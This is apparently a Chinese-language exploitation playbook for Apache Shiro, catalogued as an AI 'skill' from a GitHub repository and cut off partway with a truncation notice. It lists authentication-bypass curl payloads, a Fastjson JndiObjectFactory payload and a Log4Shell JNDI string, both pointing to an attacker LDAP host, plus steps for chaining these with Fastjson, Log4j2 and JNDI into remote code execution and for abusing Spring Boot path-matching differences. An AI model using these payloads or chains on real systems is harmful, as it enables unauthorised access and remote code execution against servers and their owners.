CVE-2026-23903<2.0.7静态文件大小写变化大小写不敏感文件系统(macOS)绕过小写filter

7.3 利用场景与验证流程

1. 确认存在Shiro(rememberMe/deleteMe)
2. 确认Shiro与Spring(或其他框架)共同使用
3. 定位受保护路径(如/admin/**=authc)
4. 逐一测试绕过Payload(7.2表),观察是否绕过401/302
5. 绕过认证后 → 配合反序列化RCE(若Key可爆破)或直接攻击业务功能
# 验证CVE-2020-1957(分号绕过)
curl -i http://target/xxx/..;/admin/
# 期望:Shiro不拦截(路径规范化为/xxx),Spring路由到/admin

# 验证CVE-2020-11989(双编码斜杠)
curl -i http://target/admin/%2Fpage

7.4 2026新认证相关漏洞

  • CVE-2026-56091shiro-guice模块的认证绕过(与CVE-2020-1957同类),影响所有2.x及3.0.0-alpha-1,修复于3.0.0。利用前提:应用使用guice集成Shiro的Servlet过滤器链
  • CVE-2026-56130:RememberMe Cookie年龄未在服务端验证——截获的合法Cookie可无限期重放(即使已过配置的过期时间)。影响1.2.4~2.x及3.0.0-alpha-1。攻击价值:与Cookie窃取/会话固定结合,可持久保持"已登录"状态;配合认证绕过可直达敏感功能
  • CVE-2026-23901:用户名枚举(时间侧信道)——用户不存在时快速返回,存在时执行密码哈希耗时更长,可通过响应时间统计枚举有效用户名
  • CVE-2026-23903:静态文件认证绕过——默认macOS等大小写不敏感文件系统上,/Admin/xxx可绕过小写/admin/**过滤器(2.0.7引入shiro.caseInsensitive=true配置,3.0.0默认开启)

八、Shiro + 其他组件组合链

8.1 Shiro + Fastjson

场景:业务同时使用Fastjson解析JSON + Shiro做认证。两条利用路径可串联:

路径A:Shiro认证绕过(未授权)→ 直达Fastjson反序列化接口 → RCE
路径B:Shiro Key爆破失败时,转向Fastjson 1.2.83 Gadget-free(jar:协议远程类加载)等
路径C:Shiro依赖中存在fastjson时,Shiro反序列化可用fastjson作为gadget链组件

经典组合Payload思路

// Shiro反序列化中的TemplatesImpl链可内嵌Fastjson恶意类
// 或Fastjson反序列化触发Shiro JndiObjectFactory(org.apache.shiro.jndi.JndiObjectFactory)
{"@type":"org.apache.shiro.jndi.JndiObjectFactory","resourceName":"ldap://attacker:1389/exploit"}

8.2 Shiro + Log4j2(CVE-2021-44228组合)

场景:Shiro记录登录日志(用户名/User-Agent等输入进入Log4j2),且目标使用Log4j2 <2.15.0:

1. 认证绕过或正常登录入口提交恶意输入
2. 输入被Shiro审计日志记录 → Log4j2 ${jndi:ldap://attacker/exploit} 触发
3. JNDI注入 → RCE(无需Shiro Key!)
# 在登录用户名/User-Agent注入
username=${jndi:ldap://attacker:1389/Exploit}
# 依赖: 目标Log4j2 2.0-2.14.1 + JDK版本适配

意义:当Shiro Key无法爆破时,Log4j2是绕过rememberMe体系直达RCE的"旁路"。

8.3 Shiro + JNDI生态

Shiro反序列化Gadget链常以JNDI注入为RCE载体(JdbcRowSetImpl等)
JNDI利用链路(2025-2026现状):
  RMI: JDK <=8u121 直接利用;更高版本需绕过
  LDAP: JDK <=8u191 直接利用;更高版本需Rogue-JNDI/EL表达式绕过
  高版本JDK(17+/21+)首选:Tomcat ELProcessor / Groovy / 本地类路径引用

九、Shiro在Spring Boot生态中的实战面

9.1 常见集成形态

集成方式特征攻防影响
shiro-spring-boot-starter自动配置过滤器链认证绕过利用面(路径匹配差异)
传统shiro.ini + ShiroFilterFactoryBeanXML/代码配置规则顺序错误(先配置/**=authc再配白名单)导致绕过
shiro-spring + DefaultShiroFilterChainDefinitionJava配置路径规则误配(如/admin未加/**
Shiro + Spring Boot FatJarjava -jar启动影响ClassLoader,进而影响JNDI/BCEL链选型

9.2 Spring Boot路径匹配差异(利用点)

# Spring Boot 2.6+默认PathPatternParser vs Shiro的AntPathMatcher
# 关键差异:尾斜杠、分号、双斜杠、URL编码处理

# 常见误配导致绕过:
# 1. 白名单放在黑名单后面(先authc后anon)→ 全部需认证,业务正常但无绕过面
# 2. 规则不闭合:map.put("/admin", "authc") 但访问 /admin/ 或 /admin/xxx 未覆盖
# 3. blockSemicolon关闭 → CVE-2023-46749利用面

9.3 Spring Boot环境实战要点

Shortened here. Read the whole file on GitHub.

Signals

GitHub stars
115
Forks
4
Last commit
Sep 2026
Advanced
Catalog kind
skill
Gateway key
shiro-exploitation
Source
github.com/langbyyi/cyberstrikeai-src